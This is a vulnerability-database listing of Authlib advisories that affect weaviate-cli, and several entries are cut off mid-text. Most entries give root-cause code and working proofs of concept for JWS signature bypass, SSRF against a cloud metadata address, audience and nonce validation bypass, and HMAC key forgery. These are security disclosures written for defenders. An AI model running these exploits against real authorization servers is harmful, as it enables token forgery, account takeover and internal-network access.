Threats affecting pkg:brew/weaviate-cli
22 threats
Most recently published first
| Severity | CVSS | Signals | Threat | Source | Published | Score and star |
|---|---|---|---|---|---|---|
| Critical | 9.1 | EPSS 0.4% | Critical9.1EPSS 0.4%GCVE DatabaseCVE-2026-96760 Authlib (prior to 1.9.0) contains a signature verification bypass vulnerability. The JsonWebSignature.deserialize_json() method accepts a JSON Serialization JWS object and returns the payload as successfully verified without checking for a signature and without requiring a cryptographic key. ## Root cause `authlib/jose/rfc7515/jws.py`, read on the installed 1.8.0 artifact: ```python is_valid = True # set before anything is checked for header_obj in obj["signatures"]: # empty array means the body never runs jws_header, valid = self._validate_json_jws(...) if not valid: is_valid = False ... if is_valid: return rv # returns the payload as verified ``` `is_valid` is initialised to `True` and only ever set to `False` from inside the loop. A JWS JSON Serialization object whose `signatures` array is empty iterates zero times, so the flag survives and the payload is returned as successfully verified. No key is consulted, because no signature is examined. ## Reproduction ```python import base64 from authlib.jose import JsonWebSignature def b64(b): return base64.urlsafe_b64encode(b).rstrip(b"=").decode() jws = JsonWebSignature() payload = b'{"sub":"attacker","role":"admin"}' forged = {"payload": b64(payload), "signatures": []} print(jws.deserialize_json(forged, key=None)) ``` Observed on authlib 1.8.0, Python 3.14, clean virtualenv: ``` [A] ATTACK general JSON, signatures:[] , key=None ACCEPTED -> {'header': [], 'payload': b'{"sub":"attacker","role":"admin"}'} [B] ATTACK general JSON, signatures:[] , key=<real key> ACCEPTED -> {'header': [], 'payload': b'{"sub":"attacker","role":"admin"}'} [C] CONTROL+ genuine general JSON with 2 signatures, right key ACCEPTED (expected) payload= b'{"sub":"attacker","role":"admin"}' [D] CONTROL- same object, first signature corrupted rejected (expected): BadSignatureError bad_signature: [E] CONTROL- signatures array removed entirely (not empty, absent) rejected: DecodeError Missing "protected" value: ``` [C] proves the verifier works normally on a genuine object, so a deployment looks healthy. [D] proves tampering is caught. [E] proves this is specifically the empty-array case and not a general missing-member bug. [A] and [B] are the bypass, and [B] shows that holding the correct key does not save a caller: the empty array is accepted either way. For comparison, joserfc 1.7.5, the library this module's deprecation warning points users to, rejects the identical object with `BadSignatureError`. The correct behaviour already exists in your newer library. ## Impact Any relying party that calls `JsonWebSignature.deserialize_json()` on input it did not produce will accept an attacker-authored payload as signed. Where that payload carries identity or authorisation claims, this is a complete authentication bypass by an unauthenticated remote caller with no key material. ## What would fix it In `_deserialize_json`, reject an empty `signatures` array before the loop, or initialise the flag from the signature count, for example `is_valid = len(obj["signatures"]) > 0`. Pull request #938 proposes the same thing. | GCVE Database | ||
| Medium | 5.4 | EPSS 0.3% | CVE-2026-114620Authlib · Unvalidated request_uri fetch in JWT-secured authorization request (JAR) leading to SSRF Medium5.4EPSS 0.3%GCVE DatabaseCVE-2026-114620 ### Summary Authlib's RFC 9101 (JAR) extension passes the attacker-controlled `request_uri` authorization parameter straight to the `get_request_object()` fetch hook with no validation, at a pre-authentication endpoint. Authlib already defines the pre-registration allowlist for this (`request_uris` client metadata and `require_request_uri_registration` server metadata) but the extension never consults it, and both docstrings instruct integrators to implement the hook as an unrestricted `requests.get(request_uri)`. Deployments following the documented pattern get an unauthenticated SSRF primitive. ### Details Verified against authlib 1.7.2 and current `main`. All line numbers below are from `authlib/oauth2/rfc9101/authorization_server.py`. The extension registers itself on the `before_get_authorization_grant` hook (lines 62-65), so it runs on every authorization request before any user or client authentication. `support_request_uri` defaults to `True` (line 58). The only gate before the sink is that `client_id` names an existing client (lines 91-103). A `client_id` is a public, non-secret identifier. The sink at line 159 forwards the raw parameter with no scheme, host, or allowlist check: ```python def _get_raw_request_object(self, request: OAuth2Request) -> str: if "request_uri" in request.payload.data: raw_request_object = self.get_request_object( request.payload.data["request_uri"] ) if not raw_request_object: raise InvalidRequestUriError(state=request.payload.state) ``` `get_request_object` is abstract (line 213, `raise NotImplementedError()` at line 225), so authlib itself performs no outbound request. The defect is that authlib supplies unvalidated attacker input to that extension point and then documents the insecure implementation twice — in the class docstring (lines 34-38) and in the hook's own docstring (lines 218-223): ```python def get_request_object(self, request_uri: str): try: return requests.get(request_uri).text except requests.Exception: return None ``` Two points sharpen this beyond a generic documentation issue: - **The allowlist already exists and is ignored.** Authlib validates `request_uris` as client metadata (`authlib/oauth2/rfc7591/claims.py:319`) and `require_request_uri_registration` as server metadata (`authlib/oauth2/rfc8414/models.py:263`). The `rfc9101` package contains zero references to either name, so the pre-registration model is never enforced at the point of use. - **RFC 9101 §10.4.1 asks for controls that are absent.** It states the server should "a) check that the value of the `request_uri` parameter does not point to an unexpected location, b) check that the media type of the response is `application/oauth-authz-req+jwt`, c) implement a timeout for obtaining the content of `request_uri`, and d) not perform recursive GET on the `request_uri`." The extension implements none of these and the documented example implements none of them either. The two failure paths are distinguishable, which supplies the inference channel for a blind SSRF: a falsy fetch result raises `InvalidRequestUriError` (`invalid_request_uri`, lines 162-163), while a successful fetch of non-JWT content raises `InvalidRequestObjectError` (`invalid_request_object`, line 186). ### PoC This demonstrates the library-level defect with no network egress required: it shows the unvalidated URI reaching the fetch hook pre-authentication. ```bash python -m venv .venv && .venv/bin/pip install authlib ``` ```python from authlib.oauth2.rfc6749.requests import BasicOAuth2Payload, OAuth2Request from authlib.oauth2.rfc9101 import JWTAuthenticationRequest reached = [] class Extension(JWTAuthenticationRequest): def get_request_object(self, request_uri): reached.append(request_uri) # the docstring puts requests.get(request_uri) here return None def resolve_client_public_key(self, client): return {"keys": []} def get_server_metadata(self): return {} def get_client_require_signed_request_object(self, client): return False class AuthorizationServer: def query_client(self, client_id): return object() uri = "http://169.254.169.254/latest/meta-data/" request = OAuth2Request("GET", "https://as.example/authorize") request.payload = BasicOAuth2Payload({"client_id": "demo", "request_uri": uri}) try: Extension().parse_authorization_request(AuthorizationServer(), request) except Exception as exc: print("error:", type(exc).__name__) print("fetch hook received:", reached) ``` Output on authlib 1.7.2: ```text error: InvalidRequestUriError fetch hook received: ['http://169.254.169.254/latest/meta-data/'] ``` Against a deployment that used the docstring implementation, the equivalent unauthenticated request is: ```text GET /authorize?response_type=code&client_id=demo&request_uri=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F ``` Returning a fetched | GCVE Database | ||
| Medium | 4.6 | EPSS 0.2% | CVE-2026-114619Authlib · OpenID implicit grant checks raw scope instead of allowed scope before issuing ID tokens Medium4.6EPSS 0.2%GCVE DatabaseCVE-2026-114619 ## Report metadata | Field | Value | | --- | --- | | Package | `authlib` (PyPI, `pkg:pypi/authlib`) | | Repository | https://github.com/authlib/authlib | | Component | `authlib.oidc.core.grants.implicit.OpenIDImplicitGrant.validate_authorization_request` | | Vulnerability class | Authorization bypass: a client's scope restriction is bypassed for OpenID Connect ID token issuance | | Verified against | `c529a61af40e3efe05286140e00fbdced07d7987` (v1.8.0). Earlier releases were not checked. | | API surface | Public API (`OpenIDImplicitGrant`, registered with `server.register_grant(...)`) | | Affected in default configuration | Yes. No non-default option is needed once `OpenIDImplicitGrant` is registered. Client metadata decides exposure: Authlib's standard `ClientMixin` checks response type and scope independently, so a client can be permitted `id_token` responses without being allowed the `openid` scope. | ## Summary `OpenIDImplicitGrant.validate_authorization_request()` first runs the parent `ImplicitGrant` validation, which filters the requested scope through `client.get_allowed_scope()` and stores the result in `request.scope`. It then decides whether this is an OpenID request by checking the raw, client-supplied `request.payload.scope` instead of that filtered value. A client that is allowed `profile` but not `openid` can therefore request `scope=openid profile`, pass the check, and receive a signed ID token (with `sub` and profile claims) once the user consents. This happens even when Authlib's built-in, scope-filtering `BearerTokenGenerator` is in use. The tainted input is the authorization request's `scope` parameter. The OAuth client fully controls it, and the client is the very party the scope restriction is meant to constrain. Any registered client can add `openid` to its request if it is permitted an `id_token` or `id_token token` response type and its allowed scopes exclude `openid` but include a claim-bearing scope such as `profile`. Sibling paths treat the same client correctly, which suggests the raw-scope check is a bug rather than intended behaviour: - `ImplicitGrant.validate_authorization_request()` -> filters the requested scope through `client.get_allowed_scope()` into `request.scope` (safe, [`authlib/oauth2/rfc6749/grants/implicit.py` lines 141-147](https://github.com/authlib/authlib/blob/c529a61af40e3efe05286140e00fbdced07d7987/authlib/oauth2/rfc6749/grants/implicit.py#L141-L147)) - `OpenIDImplicitGrant.validate_authorization_request()` -> **checks the raw `request.payload.scope` (unsafe, [`authlib/oidc/core/grants/implicit.py` line 72](https://github.com/authlib/authlib/blob/c529a61af40e3efe05286140e00fbdced07d7987/authlib/oidc/core/grants/implicit.py#L72))** - `UserInfoEndpoint` -> rejects the same client's access token with 403 `insufficient_scope` (safe; observed during verification, line not recorded) - OIDC authorization code flow -> issues no `id_token` for the same client (safe; observed during verification, line not recorded) ## Impact A registered OAuth client that the operator has excluded from the `openid` scope can get an OpenID Connect ID token for any user who logs in and approves its authorization request. During verification the provider returned an RS256-signed ID token carrying `iss`, `aud` (the requesting client), `nonce`, `auth_time`, `at_hash`, `sub` and `name`, while the granted scope was only `profile`. A consent page built the way the Authlib docs show lists only `profile`, so the user is not shown that an identity token will be issued. Without this bug, the same request fails with `InvalidScopeError` ("Missing 'openid' scope") because the client's resolved scope does not include `openid`. The new capability is the ID token itself: a signed assertion of the user's identity (`sub`) plus claims from the client's other allowed scopes. Gating that token is exactly what the `openid` scope is for. The access token stays restricted when the built-in token generator is used: Authlib's `UserInfoEndpoint` rejects it with 403 `insufficient_scope`. **Scoring note:** we did not compute a CVSS score. An initial triage rated this High. After dynamic verification we assess practical severity as closer to Medium, because: 1. The attacker must be a registered client that is permitted `id_token` response types. 2. The user must log in and consent. 3. The ID token's `aud` is the attacking client. Two kinds of deployment are not affected: - Deployments that use only the OIDC authorization code flow. During verification, that flow issued no ID token for the same client. - Deployments where every client permitted an `id_token` or `id_token token` response type is also allowed the `openid` scope. ## Preconditions 1. The authorization server registers `OpenIDImplicitGrant` (or a subclass), e.g. `server.register_grant(MyOpenIDImplicitGrant)`. The vulnerable method runs on every OIDC implicit authorization request. 2. A client's metadata permits an OIDC implicit response type | GCVE Database | ||
| Medium | 6.8 | EPSS 0.2% | Medium6.8EPSS 0.2%GCVE DatabaseCVE-2026-114618 ## Description ### Summary Authlib's default RFC 7523 JWT bearer grant leaves `get_audiences()` empty, so `verify_claims()` only checks that an `aud` claim *exists* instead of requiring it to match the current authorization server's token endpoint. An attacker holding a legitimately issued JWT assertion for *any* audience can present it to a different authorization server sharing the same signing key and obtain an access token. To be completely transparent, AI tools helped surface it. However, we have independently reproduced and carefully validated the issue. We follow responsible disclosure practices and are sharing this privately. ### Affected Entrypoints - `authlib.oauth2.rfc7523.JWTBearerGrant` — default `get_audiences()` returns empty list - `authlib.jose.jwt.decode()` with `claims_options` for audience validation - `authlib.integrations.flask_oauth2.ResourceProtector.validate_request()` when audience checking is enabled ### Exploit Path ``` 1. Attacker authenticates to Service A (low-privilege) 2. Authorization server issues JWT with "aud": "https://evil.test/token" 3. Attacker presents this assertion to Service B's token endpoint 4. Service B uses default JWTBearerGrant (get_audiences() = []) 5. verify_claims() only checks aud *exists*, not its value 6. Service B issues an access token — audience bypass achieved ``` ### Proof of Concept ```python #!/usr/bin/env python3 """ Demonstrates that the default JWTBearerGrant accepts JWT assertions whose audience does not match the token endpoint, while a strict audience override correctly rejects them. """ import json import os import sys from joserfc.jwk import KeySet, OctKey WRONG_AUDIENCE = "https://evil.test/token" EXPECTED_AUDIENCE = "https://provider.test/token" GRANT_TYPE = "urn:ietf:params:oauth:grant-type:jwt-bearer" def build_and_exercise(strict_audience: bool) -> tuple[int, dict]: from authlib.oauth2.rfc7523 import JWTBearerGrant as BaseJWTBearerGrant # Uses Authlib's own Flask test fixtures from tests.flask.test_oauth2.models import Client, User, db from tests.flask.test_oauth2.oauth2_server import ( create_authorization_server, create_flask_app, ) class JWTBearerGrant(BaseJWTBearerGrant): def resolve_issuer_client(self, issuer): return Client.query.filter_by(client_id=issuer).first() def resolve_client_public_key(self, client): return KeySet([ OctKey.import_key("foo", {"kid": "1"}), OctKey.import_key("bar", {"kid": "2"}), ]) def authenticate_user(self, subject): return None def has_granted_permission(self, client, user): return True # Only override get_audiences when testing strict mode if strict_audience: def get_audiences(self): return [EXPECTED_AUDIENCE] app = create_flask_app() os.environ["AUTHLIB_INSECURE_TRANSPORT"] = "true" with app.app_context(): db.init_app(app) db.create_all() user = User(username="demo-user") db.session.add(user) db.session.commit() client = Client( user_id=user.id, client_id="client-id", client_secret="client-secret", ) client.set_client_metadata({ "scope": "profile", "redirect_uris": ["https://client.test/authorized"], "grant_types": [GRANT_TYPE], }) db.session.add(client) db.session.commit() server = create_authorization_server(app) server.register_grant(JWTBearerGrant) # Sign assertion with WRONG audience assertion = JWTBearerGrant.sign( "foo", issuer="client-id", audience=WRONG_AUDIENCE, # <-- Not the expected audience subject=None, header={"alg": "HS256", "kid": "1"}, ) rv = app.test_client().post( "/oauth/token", data={"grant_type": GRANT_TYPE, "assertion": assertion}, ) body = json.loads(rv.data) db.session.remove() db.drop_all() return rv.status_code, body def main() -> int: # Test 1: Default grant (no audience enforcement) vuln_status, vuln_body = build_and_exercise(strict_audience=False) # Test 2: Strict audience grant (correct behavior) strict_status, strict_body = build_and_exercise(strict_audience=True) result = { "wrong_audience": WRONG_AUDIENCE, "expected_audience": EXPECTED_AUDIENCE, "vulnerable_status": vuln_status, "vulnerable_body": vuln_body, "strict_status": strict_status, "strict_body": strict_body, } print(json.dumps(result, indent=2, sort_keys=True)) if ( vuln_status == 200 and "access_token" in vuln_body and strict_body.get("error") == "invalid_grant" ): print( "POC_SUCCESS: default JWTBearerGrant issu | GCVE Database | ||
| Medium | 4.2 | EPSS 0.2% | CVE-2026-114617Authlib · ID token can disable its own nonce validation via the nonce_supported claim Medium4.2EPSS 0.2%GCVE DatabaseCVE-2026-114617 ### Summary `OpenIDMixin.parse_id_token()` reads the `nonce_supported` claim from the ID token it is validating. When that claim is boolean `false`, the expected nonce is set to `None` and nonce validation is skipped for that token. An ID token that carries this claim is therefore accepted in a session whose nonce does not match. A captured, validly signed ID token belonging to a victim can be replayed into an attacker-controlled session, authenticating the attacker as the victim at the relying party. The code is identical in `authlib/integrations/base_client/sync_openid.py:82-83` and `authlib/integrations/base_client/async_openid.py:84-85`, so all framework integrations are affected. Fixed versions: none; reproduced on 1.8.0 (commit c529a61a). Preconditions: the ID token must carry a valid signature and pass `iss` and `aud` validation, and the attacker must be able to supply it to `parse_id_token()`. Authorization code flow is not affected. Implicit and hybrid relying parties, and applications calling `parse_id_token()` directly, are affected. ### Details ## Affected code `authlib/integrations/base_client/sync_openid.py:80-85`, in `parse_id_token()`: ```python claims = claims_cls(token.claims, token.header, claims_options, claims_params) # https://github.com/authlib/authlib/issues/259 if claims.get("nonce_supported") is False: claims.params["nonce"] = None claims.validate(leeway=leeway) ``` `authlib/integrations/base_client/async_openid.py:82-86` contains the same code. ## Source of the claim `claims` is constructed from `token.claims`, which is the decoded payload of the ID token passed to `parse_id_token()`: ```python token = jwt.decode( token["id_token"], key=key_set, registry=JWSRegistry(algorithms=alg_values, strict_check_header=False), ) ... claims = claims_cls(token.claims, token.header, claims_options, claims_params) ``` `claims.get("nonce_supported")` therefore resolves against the ID token payload. It is not read from `load_server_metadata()`, from client configuration, or from any other source under the relying party's control. ## Effect on validation `IDToken.validate_nonce()` at `authlib/oidc/core/claims.py:69-83` performs the comparison only when the expected value is truthy: ```python nonce_value = self.params.get("nonce") if nonce_value: if "nonce" not in self: raise MissingClaimError("nonce") if nonce_value != self["nonce"]: raise InvalidClaimError("nonce") ``` Assigning `claims.params["nonce"] = None` makes `nonce_value` falsy, so both the presence check and the equality check are skipped. No error is raised and `claims.validate()` completes normally. The docstring of that same method states the requirement: > If present in the ID Token, Clients MUST verify that the nonce Claim Value is equal to the value of the nonce parameter sent in the Authentication Request. ## Trigger condition The comparison is `is False`, so only a JSON boolean `false` activates the branch. A string value `"false"` does not, and nonce validation proceeds normally in that case. ## Origin The branch was added in commit `3ca7333c` ("Skip verifying nonce for Apple case") to accommodate a provider that emits a `nonce_supported` claim, as referenced by the inline comment pointing to issue #259. ## Remediation Read the flag from server metadata or client configuration rather than from the token: ```python metadata = self.load_server_metadata() if metadata.get("nonce_supported") is False: claims.params["nonce"] = None ``` This preserves the behavior for relying parties configured against a provider that does not support nonces, while preventing the token from determining whether it is subject to nonce validation. ### Proof of concept ## Environment - authlib 1.8.0, commit `c529a61a` (tag `v1.8.0`) - Python 3.14 - joserfc 1.7.5 - No network access required ``` git clone https://github.com/authlib/authlib.git && cd authlib git checkout c529a61a python3 -m venv .venv .venv/bin/pip install -e . joserfc==1.7.5 .venv/bin/python poc.py ``` ## Configuration The relying party is a subclass of the shipped `OpenIDMixin` supplying only `client_id` and `load_server_metadata()`. `fetch_jwk_set()` returns `metadata["jwks"]` directly when the key set is present in metadata, so no HTTP request is made and no part of the validation path is stubbed. The signing key is a generated RSA key. All three tokens are signed with it, carry `iss` and `aud` matching the relying party configuration, and are within their validity window. The relying party's session nonce is `nonce-the-rp-actually-generated`; every token carries the different nonce `nonce-from-the-captured-token`. ## poc.py ```python from joserfc import jwt from joserfc.jwk import RSAKey from authlib.integrations.base_client.sync_openid import OpenIDMixin ISSUER = "https://as.example" CLIENT_ID = "rp-client" KEY = RSAKey.generate_key(2048, parameters={"kid": "k1"}) JWKS = {"keys": [KEY.as_dict(private=Fal | GCVE Database | ||
| High | 7.4 | EPSS 0.2% | CVE-2026-114616Weaviate cli: Authlib accepts an empty HMAC key, allowing JWS/JWT signature forgery (HS256/HS384/HS512) High7.4EPSS 0.2%GCVE DatabaseCVE-2026-114616 Reporter: Cavan Loughran, Celvex Group Inc. Summary Authlib's symmetric (oct) key handling accepts an empty key (empty bytes b'' / empty string '') as a valid HMAC signing and verification key. An empty HMAC key produces a deterministic digest that any party can reproduce, so an attacker who knows (or can cause) the application to verify a token with an empty key can forge arbitrary tokens that pass HS256/HS384/HS512 signature verification. This is the Authlib member of the cross-language empty-HMAC-key family already assigned CVE-2026-44351 (fast-jwt, npm) and CVE-2026-45363 (ruby-jwt, RubyGems). This is DISTINCT from Authlib's existing recent JWT-verification advisories. It is not closed by CVE-2026-27962 / GHSA-wvwj-cvrp-7pv5 (JWS JWK header injection, the key=None case), nor by CVE-2026-28802 / GHSA-7wc2-qxgw-g8gg (alg:none blank-signature bypass), nor by GHSA-5357-c2jx-v7qh (algorithm confusion with asymmetric public keys). Those address header-driven key injection, the none algorithm, and asymmetric-vs-symmetric confusion respectively; none of them rejects a zero-length oct key. Affected versions Authlib <= 1.7.2 (latest release 1.7.2, 2026-05-06). Confirmed present at the v1.7.2 release tag and on the current main HEAD. The affected code is in authlib/jose/rfc7518/oct_key.py and authlib/jose/rfc7518/jws_algs.py. Root cause (exact code location, release tag v1.7.2) - authlib/jose/rfc7518/oct_key.py, class OctKey: - validate_raw_key is a type-only check: `return isinstance(key, bytes)`. An empty bytes object passes. - import_key rejects only keys whose material starts with known unsafe prefixes (`if raw_key.startswith(POSSIBLE_UNSAFE_KEYS): raise ValueError(...)`, i.e. PEM/SSH prefixes). Empty bytes do not match any unsafe prefix, so b'' is accepted. - get_op_key loads the raw key without validating its length. - No check anywhere rejects a zero-length key, so an empty key b'' passes every gate. - authlib/jose/rfc7518/jws_algs.py, class HMACAlgorithm: - prepare_key: `return OctKey.import_key(raw_data)`. - sign / verify call key.get_op_key(...) then `hmac.new(op_key, msg, self.hash_alg)` / `hmac.compare_digest(...)`. With an empty op key this becomes hmac.new(b'', ...): a deterministic, publicly reproducible digest. There is no empty-key or minimum-length check. Why this is a real signature bypass An empty HMAC key makes the signature a public, deterministic function of the header and payload, so anyone can compute a valid signature and forge tokens. The realistic trigger matches the sibling CVEs: the deploying application sources the verification key from a place that can be empty at runtime, for example os.environ.get('JWT_SECRET', ''), a database/config column whose default is '', or a key-resolver that returns '' on a miss. Authlib is widely used to BUILD token verifiers (OAuth 2.0 resource servers, OIDC relying parties), and Authlib's own recent advisory history shows the JWS/JWT verify path is the live attack surface, so a key-resolution path that can yield '' is a realistic exposure. Reproduction (prose, no weaponized exploit) 1. In an application that uses Authlib to verify JWS/JWT, arrange for the verification key to be an empty value (e.g. an unset environment variable defaulted to ''). 2. An attacker constructs a token with header {alg: HS256} and an arbitrary payload, and computes the HS256 signature using an empty key (a value any party can reproduce because the key is empty). 3. Authlib's HMAC verification accepts the token as validly signed, because OctKey.import_key did not reject the empty key and hmac.compare_digest matches the attacker-computable digest. The forged token is treated as authentic. No live system was probed; the above describes the class. The vulnerable code path and the absent guard are confirmed by direct reading of the public source at the v1.7.2 tag and on current main. Proof the fix is known-good (no novelty risk) The same maintainer's newer JOSE library, joserfc, ALREADY rejects empty oct key material outright. In src/joserfc/_rfc7518/oct_key.py, import_key raises a ValueError on empty oct material, with an explicit note that an empty oct key produces a deterministic HMAC digest that any party can reproduce, allowing trivial signature forgery in JWS HS256/HS384/HS512 verification. (joserfc additionally warns on keys below 112 bits.) The same guard is simply absent from the older, far more widely deployed Authlib rfc7518 package. The flagship Python JOSE libraries also guard: PyJWT raises InvalidKeyError('HMAC key must not be empty.') for zero-length keys, and jwcrypto enforces an RFC 7518 minimum key length. Impact Token forgery / authentication bypass in OAuth 2.0 resource servers and OIDC relying parties built on Authlib whenever the HMAC verification key can be empty at runtime. An attacker can mint tokens with arbitrary claims (for example elevated scopes or another user's subject) that pass signature verification. Suggested remedi | GCVE Database | ||
| High | 7.4 | EPSS 0.2% | CVE-2026-114615Weaviate cli: Authlib incomplete algorithm-confusion fix permits HMAC forgery with prefixed public keys High7.4EPSS 0.2%GCVE DatabaseCVE-2026-114615 ## Summary `OctKey.import_key()` carries the only guard that stops an asymmetric public key from being used as an HMAC secret in `authlib.jose`. That guard is `raw_key.startswith(POSSIBLE_UNSAFE_KEYS)` — anchored at byte 0 — while the loader that consumes the identical bytes on the asymmetric path (`cryptography.hazmat.primitives.serialization.load_pem_public_key` / `load_pem_x509_certificate`) skips anything before the `-----BEGIN` line. A PEM public key or X.509 certificate carrying **one leading byte** — a newline, a space, four spaces of indentation, a UTF-8 BOM, or a comment line — is therefore not recognised, falls through, and becomes the HMAC secret. An attacker holding only the issuer's public key then mints an `HS256` token with arbitrary claims that `jwt.decode()` accepts as authentic. This is an incomplete fix of **CVE-2024-37568 / GHSA-5357-c2jx-v7qh**. That advisory's fix is exactly this guard (`git log -S 'POSSIBLE_UNSAFE_KEYS' -- authlib/jose/rfc7518/oct_key.py` returns a single commit, `3bea812` "fix: prevent OctKey to import ssh/rsa/pem keys", referencing issue #654), and the original attack works again unchanged whenever the stored PEM does not start at offset 0. Reproduced end-to-end on **1.8.0**, the newest release (published 2026-08-30), and on `origin/main` (`c529a61`), with `cryptography` 50.0.2. ## Preconditions Both are deployment properties; neither is attacker-controlled at request time, and the attacker needs no secret and no user interaction. 1. **The relying party uses the documented module-level `jwt` object.** `from authlib.jose import jwt` is built at `authlib/jose/__init__.py:55-72` with the full list `["HS256","HS384","HS512","RS256",...,"EdDSA"]`, and `JsonWebToken.decode` (`authlib/jose/rfc7519/jwt.py:80`) exposes **no `algorithms` parameter**, so a caller of the documented object has no way to narrow it. This is the first code sample in `docs/jose/jwt.rst:21-31`. This hazard is already documented: `docs/jose/jwt.rst:73-79` says "This decoding method is insecure. By default `jwt.decode` parses the alg header. This allows symmetric macs and asymmetric signatures.", and `docs/jose/jwt.rst:94-98` says "You should never combine symmetric (HS) and asymmetric (RS, ES, PS) signature schemes." The point of this report is **not** that the mixed list exists — it is that the `oct_key.py:81` backstop shipped for precisely that documented hazard does not hold. 2. **The verification key is passed as PEM/certificate text whose bytes do not begin at offset 0 with `-----BEGIN `.** Each of the following forms was confirmed to forge, and each also still verifies a genuine RS256/ES256 token with the identical bytes, so nothing in the deployment looks broken: * one leading newline — what a triple-quoted Python literal produces * one leading space * four-space indentation — an indented YAML/JSON/TOML config block * a UTF-8 BOM — a Windows-editor artifact * a leading comment line * all of the above applied to an X.509 `CERTIFICATE` PEM instead of a `PUBLIC KEY` PEM A raw DER SPKI blob also bypasses the guard, but DER cannot be used for genuine asymmetric verification through this path, so I exclude it as a non-deployable configuration and mention it only as further evidence of the recogniser/loader gap. ## Details `authlib/jose/rfc7518/oct_key.py:10-17` ```python POSSIBLE_UNSAFE_KEYS = ( b"-----BEGIN ", b"---- BEGIN ", b"ssh-rsa ", b"ssh-dss ", b"ssh-ed25519 ", b"ecdsa-sha2-", ) ``` `authlib/jose/rfc7518/oct_key.py:78-84` ```python raw_key = to_bytes(raw) # security check if raw_key.startswith(POSSIBLE_UNSAFE_KEYS): raise ValueError("This key may not be safe to import") key = cls(raw_key=raw_key, options=options) ``` `bytes.startswith` is anchored. The loader on the asymmetric path is not: `authlib/jose/rfc7517/_cryptography_key.py:22-29` calls `load_pem_public_key` / `load_pem_x509_certificate`, both of which scan forward for the armour header. So the set of byte strings the recogniser rejects is strictly smaller than the set the loader accepts, and the difference is exploitable. Reach, for a caller of the documented object: * `authlib/jose/rfc7518/jws_algs.py:59` — `HMACAlgorithm.prepare_key(raw_data)` returns `OctKey.import_key(raw_data)`; this is the whole of the HMAC key handling. * `authlib/jose/rfc7519/jwt.py:80` — `JsonWebToken.decode(self, s, key, claims_cls=None, claims_options=None, claims_params=None)`; the algorithm comes from the token header and is checked only against the instance's list. * `authlib/jose/__init__.py:55-72` — that list contains both HS\* and RS\*/ES\*/PS\*/EdDSA. So `oct_key.py:81` is the only thing between a mixed allow-list and using the public key as an HMAC secret, and it is bypassed by a single leading byte. ## PoC `poc-authlib-e2e-http.py` stands up a Flask API whose only authentication is the documented `jwt.decode(token, PUBLIC_KEY)` | GCVE Database | ||
| Low | 2.6 | EPSS 0.2% | CVE-2026-114614weaviate-cli · Authlib: is_secure_transport() loopback exemption can be bypassed with a userinfo component, allowing cleartext-HTTP Low2.6EPSS 0.2%GCVE DatabaseCVE-2026-114614 ### Summary `authlib.common.security.is_secure_transport()` is used throughout Authlib to enforce the OAuth 2.0 / OIDC requirement that endpoint and redirect URIs use TLS, with an RFC 8252 §7.3 exemption for loopback `http://` URIs. The check is implemented as a textual `str.startswith` prefix match, so a URL such as `http://localhost:80@evil.example/cb` — whose actual host is `evil.example` and whose scheme is plain `http` — is accepted as "secure". An attacker who can supply a URL to any of the sinks that rely on this check (OIDC RP-Initiated Logout dynamic client registration, RFC 8414 authorization-server metadata validation, error-redirect rendering) can smuggle a cleartext non-loopback URL past the TLS-required guard. This is a defense-in-depth / spec-conformance failure; severity is low. ### Details **Affected versions:** `authlib >= 0.13, <= 1.7.2` (all releases containing the loopback prefix exemption; verified against 1.7.2, the current latest) The vulnerable function, from `authlib/common/security.py` at v1.7.2: ```python 13 def is_secure_transport(uri): 14 """Check if the uri is over ssl.""" 15 if os.getenv("AUTHLIB_INSECURE_TRANSPORT"): 16 return True 17 18 uri = uri.lower() 19 return uri.startswith( 20 ("https://", "http://localhost:", "http://127.0.0.1:", "http://[::1]:") 21 ) ``` Per RFC 3986 §3.2 the authority component of a URI is `[ userinfo "@" ] host [ ":" port ]`. The URL `http://localhost:80@evil.example/cb` therefore has userinfo `localhost:80` and host `evil.example`. Because the check is a raw prefix match against the full URL string, the `http://localhost:` prefix matches the userinfo portion and the function returns `True` even though the scheme is `http` and the host is an arbitrary external name. The trailing `:` in each allow-list entry — presumably intended to force a `host:port` shape and reject `http://localhost.evil.com` — is also satisfied by the `user:password` separator inside userinfo, so `http://localhost:@evil.example/` matches too. The same construction works against all three loopback prefixes (`http://127.0.0.1:...@evil.example/`, `http://[::1]:...@evil.example/`). `is_secure_transport()` is consumed at the following locations in v1.7.2, none of which independently reject URLs containing a userinfo component: - `authlib/oidc/rpinitiated/registration.py:50-57` — validation of `post_logout_redirect_uris` during OIDC dynamic client registration for public clients (`token_endpoint_auth_method == "none"`). The preceding `is_valid_url()` check (`authlib/common/urls.py:142-146`) only requires `parsed.scheme and parsed.hostname` and does **not** reject userinfo, so the crafted URL passes both guards. A public client can therefore register `http://localhost:80@attacker.example/cb` as a post-logout redirect target; the OpenID Provider will later 302 the end-user's browser to that cleartext non-loopback URL (carrying `state`). - `authlib/oauth2/rfc8414/models.py:61,75,100,115,123,248,284` — validation of `issuer`, `authorization_endpoint`, `token_endpoint`, `jwks_uri`, `registration_endpoint`, `revocation_endpoint`, `introspection_endpoint` in Authorization Server Metadata / OIDC Discovery documents. A relying party using `AuthorizationServerMetadata.validate()` would accept endpoint values of this form as satisfying the "MUST use https" requirement when they do not. - `authlib/oidc/rpinitiated/discovery.py:12` — validation of `end_session_endpoint` in provider metadata. - `authlib/oauth2/rfc6749/errors.py:64` and `authlib/oauth1/rfc5849/errors.py:33` — governs how `redirect_uri` is rendered in error bodies (cosmetic). The `http://localhost:` prefix was introduced in commit `0225c86b` (first released in v0.13); `http://127.0.0.1:` and `http://[::1]:` were added later in the 1.6.x line. All variants share the same prefix-match weakness. ### PoC Against the current latest release (1.7.2): ```sh python3 -m venv venv ./venv/bin/pip install 'authlib==1.7.2' ./venv/bin/python poc.py ``` `poc.py`: ```python #!/usr/bin/env python3 """ is_secure_transport() must return True only for https:// URLs, or http:// URLs whose host is a loopback address (localhost / 127.0.0.1 / ::1). Bypass: http://localhost:80@evil.example/cb has host 'evil.example' (userinfo = 'localhost:80') per RFC 3986, but matches the prefix 'http://localhost:' and is therefore accepted as secure. """ from urllib.parse import urlparse from authlib.common.security import is_secure_transport cases = [ "http://localhost:80@evil.example/cb", "http://127.0.0.1:80@evil.example/cb", "http://localhost:@evil.example/cb", ] vulnerable = False for url in cases: parsed = urlparse(url) ok = is_secure_transport(url) print(f"is_secure_transport({url!r}) = {ok} " f"[actual host = {parsed.hostname!r}, scheme = {parsed.scheme!r}]") if ok and parsed.hostname not in ("localhost", "127.0.0.1", "::1") and parsed.scheme != "https": 